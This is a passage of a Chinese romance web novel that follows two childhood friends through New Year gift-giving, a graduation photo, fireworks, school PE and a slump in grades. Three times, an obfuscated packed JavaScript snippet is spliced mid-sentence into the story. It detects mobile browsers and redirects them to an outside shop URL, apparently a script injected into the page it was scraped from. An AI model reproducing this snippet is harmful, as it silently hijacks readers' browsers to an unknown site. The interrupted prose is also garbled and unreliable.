周叙白笑弯了眉,甜甜地向舒乔妈妈拜年:“阿姨新年快乐,祝您年年有今日,岁岁有今朝。” “小白的嘴可真甜。你也是哦。” 舒乔妈妈拿出事先准备好的红包给他,还叮嘱他:“今年可别给舒乔了,你自己拿着。” 舒家和周家每年都会给对方小孩发红包,但周叙白总把自己的给舒乔,美其名曰—— 借花献佛。 当然,舒乔妈妈会再给他一份,但周叙白不要,固执地说:“我也要给舒乔发压岁钱。” 别看周叙白年纪小,但很执拗,舒乔妈妈拿他没法,这份钱就给到周妈妈手上,但周妈妈也不要。 舒乔妈妈感叹:“头一次见压岁钱送不出去。” 对待舒乔妈妈的叮嘱,周叙白乖巧地点头,但见到舒乔那刻,想也没想就把红包递上,“舒乔乔,新年快乐。” 舒乔没接,“妈妈不让我收你的。再收要骂我了。” “不会,是我非要给你的。阿姨不会骂你。”周叙白讲。 没有小孩不喜欢红包,周叙白给了她保证,舒乔欢欢喜喜接了下来。 “我有礼物给你。”舒乔打开自己的柜子,拿出一个包装精美的礼盒递给他。 盒子很大,周叙白好奇里面的东西,问舒乔:“我现在能打开看吗?” “可以。”舒乔贴心的给他送上剪刀。 周叙白扯开包装线,再拿过剪刀小心翼翼剪开包装纸,礼物露出了形状。 一个精美的变形金刚,还是最新款,周叙白眼前一亮,激动地抱住舒乔念:“乔乔,乔乔,我爱死你了。这个礼物我好喜欢。” “你喜欢就好,”他高兴,舒乔也高兴,“你要好好珍藏哦。这是我用压岁钱买的。可贵了。” “嗯嗯,”周叙白点点头,“我一定好好珍藏。” 所以,之后的年三十,周叙白上门会多带一样东西,就是这个变形金刚。 他还会向舒乔重复同一句话—— “舒乔乔,你看,我真的有好好珍藏哦!” 舒乔总会笑着答一句:“知道了,小白哥哥。” 周叙白对变形金刚爱不释手,舒乔坐一旁陪他玩,玩一半时,周叙白看着舒乔,特别严肃地问:“这东西是我独有的,还是大家都有?” 他说的大家指李李和小胖子。 舒乔说:“只有你有。” “真的呀……”周叙白一下子就笑了出来,他再度抱紧舒乔,念着,“乔乔,乔乔,你是世界上最好的乔乔。” 舒乔被他抱的喘不过气,她努力讲:“你再不松开我,我将会是地下最好的乔乔了。” 周叙白一听,赶忙放开她,还“呸”了一声,“什么地下。这是过年,不准说不吉利的话。乔乔会长命百岁。” “长命百岁?那我岂不是城妖精了?”在那时候的舒乔的世界里,只有妖精会长命百岁。 “那就当妖精好了”周叙白强调:“反正乔乔要长命百岁。” “那你呢?”舒乔看着周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126633|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙白。 周叙白说:“我会陪乔乔长命百岁的。” “好,我们一起长命百岁,”舒乔伸出小拇指,勾住周叙白的手,“拉钩上吊一百年不许变。” “不变,永远不会变。” “啊——等等。”舒乔忽然一呆。 “怎么了?”周叙白看向她。 “变形金刚,”舒乔指着他的手,“你不能告诉小胖子和李李。这是我们两人的秘密,只有我们知道。” 以为是非常非常大事的周叙白在听到这个时松了一口气,举着四根手指学着电视剧里面的人对天发誓:“我保证不会告诉别人,这是我和舒乔乔两个人之间的秘密。” “那就好。”舒乔乔抱抱他。 这就是他们之间的第一个小秘密。即使后面还有很多小秘密,但第一个总是最独特的。 其实,关于过年礼物这件事故事很长,周叙白也是后来去给舒乔妈妈送东西,才听丈母娘提起。 她说:“那年过年,我问乔乔买几份礼物,她想也没想就说,一份。我问她其他小朋友呢?她沉默一会儿说,只想送给周叙白。” 周叙白那天贼高兴,一回家就抱起舒乔转圈圈,又问起老生常谈的问题:“舒乔乔,你小时候是不是喜欢我。不然为什么只送我一个人新年礼物?” “你要听真话还是假话?”舒乔环住他的脖颈问。 “先说真话。” “真话就是,那个变形金刚很贵,我的压岁钱只能买这一个。 “假话呢?假话是你对我太不好了,所以想讨好你,让你对我好点呗。”舒乔抓着他的头发说。 “舒乔乔,你这假话也太假了吧!我对你不好?你扪心自问一下,我究竟对你好不好?”周叙白不满地掐了一下舒乔的腰。 太痒了,舒乔躲了一下,周叙白从背后抱住她,舒乔转过身,与他四目相对。 她说:“好。小白哥哥一直都对我好。” “好在哪里?”周叙白要问个明白。 舒乔握着他卫衣上耷拉的两根绳子说:“好在从幼稚园到现在都没有缺席过的新年红包。好在最好吃的小零食永远有我的一份。好在你总是站在我身后,永远偏爱我。” 小时候的故事很长,人也好多,可每一次回忆起,总有一个不变的,那就是周叙白。 舒乔的生命,周叙白贯穿始终。 小学六年级的舒乔不能体会到周叙白感情的浓烈,可她知道的是,住在三单元二号楼的小白哥哥对她很好很好。 所以,那一年的变形金刚,她毫不犹豫的递给了周叙白。 “舒乔乔,”周叙白抹了抹眼睛,“你说的我想哭。” “别这样,太丢人了。”舒乔说。 “可我忍不住。”周叙白吸了吸鼻子。 舒乔没招,拍拍他的肩膀:“那你就哭吧。” 周叙白把头埋在舒乔的胸口,声音闷闷的:“舒乔乔,爱我吗?” 舒乔毫不犹豫回答:“爱。” “有多爱?” “很爱很爱。” “会爱多久呢?” “一百年!” 周叙白蓦地抬起头:“为什么是一百年?而不是一千年、一万年?” “你忘了。我们拉过钩的。长命百岁。” 周叙白一笑:“我记得。那就一百年。” 陪舒乔乔走过一百年,谁要是先走,奈何桥上等三年。 这是他们之间的又一个秘密。 5. 又长大了一点 拍小学毕业照的前一天晚上,舒乔睡不着觉,向妈妈讨要了手机,同周叙白打电话。 她说:“我有点紧张,还有点难过。总之,心情很复杂。” 一方面,是不愿意和同学分别,另一方面,又忐忑的想要去到初中。 因为听更大的哥哥说,初中和小学完全不一样。 “那我给你讲笑话。”周叙白说。 “没心情听,”舒乔在床上拱了拱,一股难以言说的烦躁包裹着她,她又翻了翻身子,朝手机另一端的人讨要解法,“小白哥哥,我该怎么办?” “嗯——”周叙白顿了顿,对她说:“你出来。” “到客厅吗?” “不是,”周叙白说,“到巷子里来。” “啊!现在吗?”舒乔看了看时间,九点了,她讲,“这个点我出不来。妈妈不让。” “你把手机给阿姨。” “哦。”舒乔翻下床,趿拉着拖鞋去找妈妈。 “小白哥哥有话和你说。”舒乔把手机递给敷着面膜的妈妈。 妈妈把手机放在耳边,一直没说话,好久之后,她“嗯”了一声,对舒乔说:“去吧去吧,但十点钟前必须回来。妈妈告诉你哦,睡晚了会水肿,明天拍照就不好看了。” “知道了妈妈。” 舒乔乖巧的应下,然后跑回房间换衣服。 没多久,门铃响了,舒乔妈妈去开门,是周叙白。 他朝门内望了望,问舒乔妈妈:“阿姨,乔乔呢?” “在房间里。小白要等一下了。”舒乔妈妈一边说,一边把零食、水果拿出来,招呼周叙白吃。 周叙白挑了一个果冻,刚撕开,房门被打开了,舒乔穿着有两个兔耳朵的卫衣走出来。 周叙白立马起身走到她身边说:“正巧,才撕开,张嘴。” “什么呀?”舒乔没看清。 “这个。”周叙白拿给她看。 是橘子果冻。 “啊——”舒乔张开嘴,一口吞下。 舒乔妈妈被两个小孩的动作逗笑。 喂完舒乔果冻,周叙白对舒乔妈妈说:“阿姨,我们走了。” “注意安全哦。”舒乔妈妈叮嘱他们。 周叙白讲:“阿姨放心,我们就在巷子里,你从窗户可以看见的。” “好。” 周叙白带着舒乔下了楼,快到巷边老槐树时,他伸出手蒙上了舒乔的双眼。 舒乔扶着他的手小心翼翼往前走,边走边说:“什么呀,好神秘的样子?” “一会儿你就知道了,保管你喜欢。。” 走了大概几分钟,周叙白放下了手,往一处指了指,对舒乔说:“看这里。” 舒乔顺着他的手看去,空旷的地上有一排烟花,她眼睛一亮:“是这个呀。” 她的确喜欢。 “嗯,”周叙白拿出打火机,“现在放吗?” 舒乔点头。 周叙白上前点燃了导火线,与舒乔并肩,“路过客厅的时候想起过年时爸爸买的烟花还没放完。” “你怎么说服叔叔的?”舒乔的意思是指,他怎么说服周爸爸让他一个人拿着打手机到外面放烟花的。 周叙白说:“很简单。我给妈妈说,舒乔乔心情不好,我要哄哄她。妈妈点头了,爸爸也自然同意了。就这些烟花,也是爸爸帮我搬下来的。” “那叔叔呢?”舒乔看了一圈,没看到人。 “带妈妈去吃宵夜了。” 说话的这几秒,烟花腾空,炸开,照亮了黑夜。 舒乔兴奋地抬头望着。 周叙白这时点燃了一根仙女棒放在她的手上,并说道:“舒乔乔,毕业快乐。” “现在,你的心情有好转了吗?”他问。 “有,有,有。可好转太多了,”她看向周叙白,张开双手抱住他,“谢谢你,小白哥哥。” 拥抱,一直是他们表达喜悦的媒介。 周叙白拍拍她的后背,“那就好。” 十点钟,舒乔准时回家。 妈妈坐在客厅里,一见她就笑言:“烟花。小白哥哥给你放的?” “妈妈怎么知道?”舒乔惊讶地看着妈妈。 她指了指窗户:“你妈妈眼睛精呀!” “好吧。”舒乔没想到这一点。 而舒乔更没想到的是,这一晚的烟花,还有小胖子和李李看见。 于是,等他们都二十几岁,凑在甜品店回忆青春时,李李一脸艳羡地说—— “周叙白这人,打小就浪漫!大家那时同为小学生,他就晓得给你放烟花。而我们还抹着鼻涕找妈妈要五毛钱买辣条。” “有吗?”舒乔喝了一口果汁,语气平淡。 “这个‘有吗’是指?”李李说。 “浪漫。”舒乔答。 “没有吗?”李李咬牙切齿,一副想掐死她的模样。 “好吧,”舒乔摊摊手,给他们来了一场绝杀,“这样的事太多了,也无所谓浪漫了。” 这次,连带着小胖子也想掐死她。 周叙白给她放了烟花,舒乔就想买一样东西当做礼物送给他。 她征求妈妈的意见,妈妈说明天带她去商场。 舒乔说:“不着急。我还没想好送什么。” 变形金刚、奥特曼……小白哥哥喜欢的东西她好像都送完了。 “妈妈,你觉得我应该送什么?”舒乔想要妈妈给一点建议。 “嗯……这个……你还真难住你妈了。” “要不然我问问他,”舒乔说,但很快又否定了,“不行不行,问了就没惊喜了。我再仔细想想吧。” 舒乔坐在沙发上,撑着脑袋,思考模样。 妈妈拍拍她的头,“以后再想,舒乔乔,该睡觉了。” 舒乔一看壁上的钟,“啊!这么晚了,是该睡觉了。” 她小跑进了浴室,洗漱后,扯过被子盖住自己,没一会儿就进了梦香。 第二天,舒乔穿着妈妈特地买的新衣服和周叙白一块儿去学校。 今天是全校六年级学生拍毕业照的日子。舒乔的心思一点也不在黑板上,时不时看一眼广播,就等着教导主任通知六年级二班的学生去操场拍毕业照。 周叙白作为舒乔的同桌,有监督她的职责,他写了一张纸条放在她的眼前—— “舒乔乔,看黑板。老师在讲重点。” 舒乔看完后握笔写—— “没心思。等回去你给我讲。” 周叙白非常聪明,老师讲的他都会。 “那你也得认真听课。”周叙白在舒乔字迹的下面写下这一句。。 “好吧。”舒乔小声嘟囔,目光落在黑板上,一副仔细听讲的模样。 但周叙白却笑出声,他又写了一张纸条给她—— “舒乔乔,你认真的模样太假了。” 舒乔回:“真没心思嘛。” 周叙白写:“好吧。那你发呆吧。” 这一句话刚写完,沉寂的广播响了起来,教导主任的声音雄浑有力—— “请六年级二班的同学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126634|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们有序到操场集合,准备拍毕业照。” 一时间整个班级哗然,舒乔更是开心地蹦起来,喊着周叙白:“小白哥哥,拍毕业照了。” “走吧,舒乔乔,我知道你迫不及待了。” 他们到教室外的走廊集合,在班主任的带领下前往操场。 队伍并不安静,女孩子们相互问自己头发乱不乱,男孩子们表面不在乎,实则也理了理自己的衣领。 舒乔有些紧张,走一会儿就问一下周叙白:“头发乱了吗?” 周叙白很有耐心回:“没有没有。” 到了操场,临拍照的时候,舒乔又问:“小白哥哥,快看看我,好不好看。” 周叙白讲:“好看好看,舒乔乔最漂亮了。” “不过,”他话锋一转,“头上太空了。” “啊——”舒乔没理解他的意思。 周叙白摊开一直握在手掌心的草莓发夹,“我让妈妈帮我挑的。舒乔乔,我给你戴上,好不好?” 说这话时,小小男孩紧张到后背冒汗,耳尖尖也红了。 “好。”舒乔没有拒绝。 周叙白抬起手,珍重、小心地将草莓发夹别在舒乔的鬓边。 舒乔还没来得及摸一下,摄影老师就喊道:“同学们,站好了,拍照咯。” 舒乔赶忙站好,周叙白也挺直了身体。 摄影老师调试好相机,喊道:“来,同学们,一起喊‘茄子’。” 整齐响亮的声音在操场响起,“咔嚓”一声,舒乔和周叙白的小学时代即将落幕。 回去的路上,舒乔没来由的难过。 周叙白知道原因,他安慰道:“舒乔乔,人不能够永远停留在一个阶段,我们在长大。” “好深奥的话,小白哥哥,我不懂。” “意思是难过,小学结束,就意味着你又长大了一点。应该开心。” “嗯……似乎很对!” 舒乔一下子就没有了难过的理由。 升学考试前一天,周叙白带着自己的学习笔记到舒乔家帮她复习。 他把老师讲的重点都强调了一遍,舒乔听得很认真。 时间过得很快,天不知不觉天黑了。 舒乔撑着头问周叙白:“要是我考得很差怎么办?” “不会的,舒乔乔。你要有信心,你会考得非常好。” “可我怕——”她不能像周叙白一样镇定。 “不怕。我说你行,你就肯定行。”周叙白不停地鼓励她。 舒乔渐渐地找回了自信:“对。我肯定行。说好的要和你上同一所初中的。我还想抄你作业呢。” 这些年,有周叙白在,舒乔过的太快乐了。其他小孩还在因为作业被家长骂时,舒乔已经抄完了。甚至,她抄累了,周叙白还会模仿着她的笔记帮她抄。所以,她离不开周叙白。 “放心。我们肯定会上一个初中。” 那时候的舒乔不明白周叙白为什么这么肯定。 一个月后,升学成绩出来,舒乔只比周叙白低了三分。 舒乔妈妈不可置信,舒乔也不相信这是自己能考出的分数,只有周叙白笑着说:“看吧。我说我们能上同一所初中吧。” “为什么这么肯定?”二十岁的舒乔问出了小时候的疑惑。 周叙白抬了抬眼镜,回她:“因为我会向下兼容呀。” “舒乔乔,”他侧身揉了揉她的头,“你的分数或许没得选,但我的有。” 言外之意就是,无论舒乔去哪一所学校,周叙白都跟她走。 6. 我们的中学时代 初中,比小学略显成熟,比高中稍显幼稚。 但进入初中的舒乔变化不大,依旧是懒得动的小姑娘,不过,这“懒”不是明面上的“懒”,已经上升到了体育老师做出八字箴言的地步。 事情是这样的。 初一上期的体育课是一个胖胖的男老师教授,虽然看挺年轻的,但离退休不远了。 这样的老师都随性,每次上课铃一打,口哨一吹,集合后讲两句注意事项,就叫同学们自由活动。 所以,很多时候都能看着,其他班的同学们运动大汗淋漓,他们班结伴去小卖部买零食。 别的老师带着班上同学做操,胖胖的体育老师则坐在杨树下,拿着保温瓶有一口没一口地喝着,那小表情,享受的,无端让舒乔想起了琼脂动物园里黑白分明的大熊猫。 当然,老教师这般有恃无恐是有资本的,据说本校校长是他的学生,见了他还要礼让三分。 这传言是真是假,没法查证,总不能将校长真拦住了问:“你的体育是他教的吗?” 况且,同学们也不关心这个问题。他们只看重体育课难得的自由,想做什么就做什么,是繁重学业里难得的放松。 小升初的暑假,周叙白像打了激素一样,身高狂长到一米七,迷上了打篮球。一到体育课,就和班里的男生拿着篮球蹦跳。舒乔则充当送水小妹,他停下来,她就把水递到他的手上。 这场面羡煞了许多人,都羡慕周叙白有这样一个小青梅。 事实上,舒乔的“自愿”很有灵性!因为周叙白实在给的太多了! 每次体育课前,周叙白都会抽出十块钱给舒乔:“两块的农夫山泉,剩下的都是你的,前提是亲自送到我手上。” 舒乔不理解有钱人的癖好,但送到手的钱不要白不要,所以舒乔欣然同意。 起初,舒乔给他送完水后还会和小伙伴围着校园走一走,讲一讲班上的八卦。 那时候最流行讲班上的某个男同学喜欢哪个女同学,现下最火的电视剧,哪个明星好看…… 只有有一个人开头,其他人七嘴八舌能讲一节课。 这样的话题说多了,也就没兴趣了。小伙伴们也就懒惰了。她们出来走,舒乔也不想走,所以一解散就坐在篮球场边的长椅上,时不时瞅一眼男生打篮球,讨论一下哪个班的男生好看,哪个班的男生最帅。 当然,周叙白是话题的中心。 在一众还没到发育期的男生里他最出挑,并且老天爷还赐予了他一副好面容,一进学校就出名了不说,第一次月考更是拔得头筹,更让一众女生追捧。 这里面自然不包括舒乔,不是她与众不同,是太熟了,捧不起来,总想着损他两句,杀杀威风。 说了这么多,还是绕回体育课,总之,一言以蔽之,舒乔初一上期的体育课是坐过去的。 到了初一下期,开学第一周的体育课还是那个胖胖的老师上,一如既往的集合、说话、解散,如同设定好的电脑程序。 但到了第二周,画风变了,体育老师换成了高高瘦瘦的年轻老师,据说还是体育学院硕士毕业,国家二级运动员。 从前的老教师呢? 退休了! 有传言说,胖老师上午九点半接到行政电话通知他退休,九点三十一,他就背着单肩包,拿着保温杯春风得意地走出了校门,那速度,杠杠的。 在这个故事里,舒乔才觉得他是体育老师。因为平常人做不到。 关于这个老师,还有一则故事。 是这样的。 胖胖的体育老师挂了电话后就走,办公室的其他老师以为他是被喜悦冲昏了头脑,赶忙叫住他:“李哥,东西还没收吗?” 李老师回了他们三个字:“不要了。” 其中一个老师张大了嘴巴,指了指桌上的电脑:“才换的电脑也不要了?” “不要了,统统不要了。谁看上谁拿去!收东西只会影响我退休的速度。” 舒乔对此评价:“真有钱。” 新来的年轻体育老师姓“吴”,他的上课风格和退休的李老师完全不一样,上课集合后,先是做一组拉伸,然后高抬腿五十个,青蛙跳五十个……最后,八百米一圈。 一节体育课下来,舒乔被练成了傻子,动一下手指都要了老命。 由于吴老师的训练强度实在太大,第二次体育课时,舒乔的身体机能还没恢复好,厚着脸皮请了一次假,老师没说什么,点头同意。 那一节课,舒乔看着其他同□□动,努力憋住了笑容。 第三次体育课时,舒乔的身体恢复了,但经期来临,实在没力气动,便又请了一次假。 有两次便有三次,舒乔像发现了新大陆一般,一节课一个请假理由,最后惹得体育老师八字评价—— “不求上进,不思进取。” 面对这八个字,舒乔脸不红心不跳地认下,“老师说得对。” 羞耻心是什么?对于一个不爱运动的小女孩来说,这玩意儿就没有过。 周叙白却是看不下去了,开始带着舒乔锻炼。 原因是上初中的她生病如同呼吸一样简单。从开学到现在,据不完全统计—— 晚上打被子生病一次,喝冰水生病一次,变天生病一次,换季生病一次…… “你这样是真不行。”周叙白看着一脸抗拒运动的舒乔说。 “不行就不行嘛,我又不考体育学院。”舒乔认真道。 周叙白说:“体育强健体魄。抵抗生病很有效的。” “不想动就是出来想动。求你了,打篮球去吧,别理我了。”为了唤起他的怜悯,舒乔还叫了他一声小白哥哥。 要知道,上初中后,舒乔再也不愿意叫他哥哥了,总觉得太羞耻了。 舒乔的称呼让周叙白很开心,却也没有退步,他拒绝了她的撒娇,“不行。运动,和我一起运动。” 周叙白把自己找来的绳放在她手上:“舒乔乔,你知道吗?你跳绳的时候特别好看。” “夸我也没用。说不动就不动。”舒乔稳稳坐在椅子上,像一座山。 “不会是跳不了了吧?”周叙白用激将法。 这招偏偏对舒乔有用,当即拿上绳就跳。 周叙白立马夸道:“舒乔乔你好棒呀,你真的太棒了。” “哇塞,舒乔乔你好厉害呀!” “……” 在周叙白一声声夸奖下,舒乔迷失了自我,一不小心跳了二百个,停下时气喘吁吁,这才反应过来上了他的当,却也没力气指责,只说着:“水,要水……” 她像一条离岸的鱼,再不给水就要死了。 “马上,”周叙白拧开盖子,递给她,叮嘱道,“慢慢喝。” 根本慢不了一点! 舒乔一口气喝了半瓶,这才缓过来。 “这……这事儿……不是人能做的。我要躺平!”舒乔呐喊。 “可是……舒乔乔,你忘了吗?中考要考体育。还是三门哦,跳绳、铅球、跳远。”周叙白提醒。 “呵……”舒乔沉默了,好一会儿说,“周叙白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126635|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我讨厌初中。” 他说的这三项,舒乔只有跳绳能及格,铅球喜提老师评价“我一只手扔得都比你远”,跳远喜提老师评价“白长了身高”。 是的,舒乔一米六五的身高,跳远一米五,惊呆了老师。 一句“中考要考”,成功点醒了舒乔。 从前一放学,舒乔不是在图书馆坐着看漫画,就是回家躺着。现在多了一项,同周叙白一块儿跑步。 “我好难过。”舒乔一边跑,一边说。 “坚持一下,就一下。”周叙白在前面领着她。 “你知道你像什么吗?” “像什么?” “像诈骗!一下又一下,什么时候是头呀!” “真就一下。到老槐树那里。”周叙白指了指前方。 舒乔摇头,停了下来,不肯动了。 周叙白走到她身后,推着她:“给你买冰淇淋!并且不告诉阿姨。” 舒乔身体太差了,舒乔妈妈对她吃冰淇淋有规定,夏天一周不能超过两个。新一周才开始两天,舒乔已经把机会用完了。 “两根!我要吃两根冰棒。” “舒乔乔,别得寸进尺!”周叙故意虎着一张脸。 “小白哥哥……求你了……” “没得商量!” 周叙白铁了心不给,舒乔也没招,嘀咕道:“一根就一根吧,总比没有好。” 她很配合地走到老槐树底下。 休息一会儿后,周叙白带舒乔去小卖部,他打开冰柜,拿了舒乔最喜欢的草莓口味,结账时见舒乔一直盯着货架上的巧克力,他出言问:“想吃?” 舒乔点点头。 “去拿吧!馋猫。” “谢谢小白哥哥!” 周叙白捏了捏她的脸颊,“舒乔乔,你学变脸的呀?有事就是小白哥哥,没事就是周叙白。” “哎呀呀,别在乎吗?反正都是你。嘿嘿。” 出了小卖部,舒乔一手冰棒,一手巧克力,吃得那叫一个不亦乐乎,甚至还谈起了条件—— “我天天运动是不是天天都有吃的呀?” 周叙白摇头:“别想了,舒乔乔,这是不可能的事儿。忘了小时候吃糖长蛀牙了。” “零食和糖没关系!”舒乔辩驳。 周叙白说:“异曲同工之妙。” 舒乔咬咬牙,不满地“哼哼”两声,像只傲娇的小猫。 周叙白摸摸她的头,“一次,每周一次,好吧?” “好好好!”这时的她,又像是被抚平了情绪的小猫。 甚至,她还承诺,“小白哥哥,等我下周拿了零花钱也请你吃。” “你上周也是这么说的!”周叙白毫不客气拆穿她的虚伪。 “哎呀,买漫画花超了嘛……” 舒乔妈妈很大方的,很怕舒乔饿着,一周给她一百零花钱,放在九零年代,可以算一笔巨款了。 但舒乔花钱没规划,两三天就花完了,所以没钱买零食。 因此,零食这块儿,基本上是周叙白花钱,舒乔白吃白喝还得寸进尺。 “你知道吗?我当时想,小白哥哥真的太好了!还给我钱花。”这是二十二岁的舒乔对二十二岁的周叙白说的。 “难道现在不好?”周叙白反问。 “也好,”舒乔亲了一下他的唇,“无论哪个阶段,小白哥哥都好。” “所以……”周叙白贱兮兮地笑起来。 舒乔:“所以什么?” 周叙白:“再亲一下。嘿嘿。” 7. 为你戴上冠冕 初二上期的第一次月考,舒乔仿佛到了瓶颈期一般,成绩直线下降。特别是理科。你敢相信吗?八十分的物理和一百五十分的数学同为三十分,拿到成绩单的那刻,舒乔惊呆了,周叙白也惊呆了。 他下意识看向舒乔,漂亮的小女孩眼睛里蒙上了一层水雾,她快哭了。 周叙白伸出了手,一只手紧紧握住她的手腕,另一只手放在她的头顶,温柔地揉着,轻声和她说:“没关系的,没关系的。舒乔你很棒,你很厉害,你是我见过最厉害的女孩。” 他生平能夸人的词汇都用上了,可眼前人没见得好。 她的眼泪更是大滴大滴落下,像断线的珍珠。 “要吃糖吗?或者薯片?”周叙白只能寄托这些东西了。 他把书桌里放着的零食全拿了出来,舒乔没说话,他看了一眼,拿起一个果冻撕开,放到她嘴边,“吃这个。乔乔最爱的橘子果冻。” 舒乔摇头,她咬了咬嘴皮,慢吞吞说:“周叙白,我是不是考不上高中了。” “不会的,舒乔乔,你知道吗?你真的很棒!这次只是意外,不能用一次否定全部。” 道理是这个道理,可舒乔钻进了牛角尖出不来。 她没再说话,只是不停地哭,连眼睛都肿了。 周叙白有些手足无措,他只能笨拙地哄着她,一刻不停。 那天,舒乔因为成绩哭的很伤心。她不知道的是,周叙白也哭了。 那是周妈妈第一次见到脱离幼稚园的周叙白哭,起初以为眼花了,定睛一看,才肯定,她的儿子是真哭了。 小小少年哭到眼尾猩红,周妈妈心疼坏了,立马抱住一米七高的大儿子,“告诉妈妈,怎么了,谁欺负你了?” 这一刻,周妈妈脑海里闪过了许多画面,她已经做好了儿子被人欺负,她要拼命的准备,怎知周叙白说:“妈,乔乔考差了,今天哭的好伤心。我……我哄了她好久,她还在哭……我心疼。” 周妈妈的大脑有一刻宕机,那时候还没有“恋爱脑”这个说法,她支支吾吾好半晌,说了一句:“就……为这个?” 实话实说,有些丢人。 周叙白抹着眼泪鼻涕点头。周妈妈有点没招地讲:“要不然买束花吧,女孩子都喜欢花。” “那我们去花店。”周叙白声音哽咽。 “行。” 周妈妈带着周叙白去花店,周叙白挑了两支向日葵。 出了花店后,他将其中一支向日葵递给妈妈,“谢谢你,妈妈。” 周妈妈握着那支向日葵,踮脚摸了摸他的头。 周叙白把另一支花送到舒乔家里,舒乔张开双手抱住他,“谢谢你,小白哥哥。我已经不伤心了。花很美,我会好好养着的。” 周叙白如释重负地笑了。 而送花,逐渐成了周叙白的习惯,每到星期六的早上,他总会敲开舒乔家的门,送来一束花,或许向日葵,或是小雏菊,或是不知名但好看的花,雷打不动。 舒乔记得每周六收到花的惊喜,记得自己不自觉地微笑,以及低头闻着花香的心动,却忘了问一句为什么。 为什么每周六都给她送花? 周叙白后来说:“因为妈妈说,女孩子收到花会很开心。舒乔乔,想让你一直开心。” 她的眼泪,是刺伤他的刀。他见不得舒乔哭,一直都见不得。 第二次月考如期来临,舒乔的成绩再遭滑铁卢。这次不光是数学物理,就连最拿手的英语,她也才考了九十多。 九十多,她生平考过最差的成绩,没有之一。 奇怪的是,舒乔没有哭,她握住成绩单,一句话也没说。 心死大过于哀怨。 那一日,天公也不作美地下起了绵绵小雨,水汽为偌大的校园蒙上了一层纱。 周叙白做了一个惊人的决定,“我们不上晚自习了。去电玩城。新开的那家。” 他对舒乔说。 舒乔摇头,趴在了桌上,合上眼睛像在睡觉,好久才说一句:“我没事的,周叙白。” 真的没事吗? 不太像! 她难过的快要死掉了。 舒乔处理不好自己的情绪,她没有大人的成熟,以及收放自如,她任由悲伤把自己淹没,放弃自己。 即使她一如既往听课做作业,即使老师讲的知识点她一个不落记下,即使周叙白给她找的提升题她每天都做,但她的大脑是空的,重点一个都进入。 第三次月考,舒乔跌落谷底。各科老师轮流找她谈话,甚至惊动了舒乔妈妈。 语文老师说:“舒乔一直是个聪明孩子,语文一直保持在一百三左右。作文更是写得灵动。但这一次,你看。” 老师把卷子拿给舒乔妈妈,显眼的三十二分打在最顶端。 要知道初中的语文作文满分是五十五,舒乔连中等都没到,这是最差的。 妈妈看了看作文,又看了看低着头的舒乔,没说话,伸手摸了摸她的头,甚至还笑了笑,像是安慰。 从语文老师的办公室出来后,是英语老师和物理老师的办公室,他们一人一句,讲舒乔在学校的表现,分析成绩落后的原因。 舒乔一直听着,有些麻木,有些晃神,直到英语老师提到漫画,她才有了一点反应,小声说:“不是漫画的错。” “那是什么?”英语老师的语气有些急了,“舒乔,你说一下你成绩下降的原因是什么。初二了,成绩降了这么多,还想上高中吗?” 想!舒乔非常想,不光是高中,还有大学,她还想过读研究生。 可现在…… 那一天,舒乔没有上课,妈妈带她回家,给她做了一桌爱吃的菜,还让锣锣巷外的蛋糕店老板,送了一个小蛋糕来家里。 沉默的舒乔看着这一切,突然开口:“妈妈,为什么不怪我?” “怪你什么?你又没错。” “可我成绩下降了好多。我不外是大家口中的乖孩子。” “舒乔,”妈妈叫她的名字,“我现在很严肃的纠正你!乖孩子的评判从来都不是成绩!成绩也不是衡量做人的唯一标准!善良的人是乖孩子,做好事的人是乖孩子,只要拥有一切正确的品德,正确的三观的孩子都是乖孩子。” 舒乔一下子哭了出来,扑进妈妈的怀里。 妈妈轻轻拍着她的背,唱着哄小宝宝的摇篮曲,更告诉她:“在妈妈眼中,你就是最乖最棒的孩子。” 渐渐的舒乔不哭了,她仰头看妈妈,低声说:“真不是漫画的错。” 班上好多同学说,家长会把成绩下降的原因归结到与学习无关的东西身上,但她想要妈妈知道,她的成绩下降和漫画书没有任何关系,她甚至好久没翻开过书柜里的漫画了。 “我相信你。” 没有比这四个字更动听的话了,仅仅是一瞬间,舒乔浑身充满了力量。 一个晚上过去了。 周叙白提着小笼包端着豆浆,等在舒乔家的楼下。 他有些心不在焉地踢着地面上的小石子。 老师找舒乔妈妈谈话的时候,他就站在办公室门口,听到了所有。 他知道舒乔很难过,可一支花不管用了。 他问妈妈有没有其他办法,妈妈告诉他,这是舒乔的难关,要她自己跨过去。 周叙白总想为她做些什么,可细细论起,什么也做不了。 说不出原因,他有些讨厌自己了…… 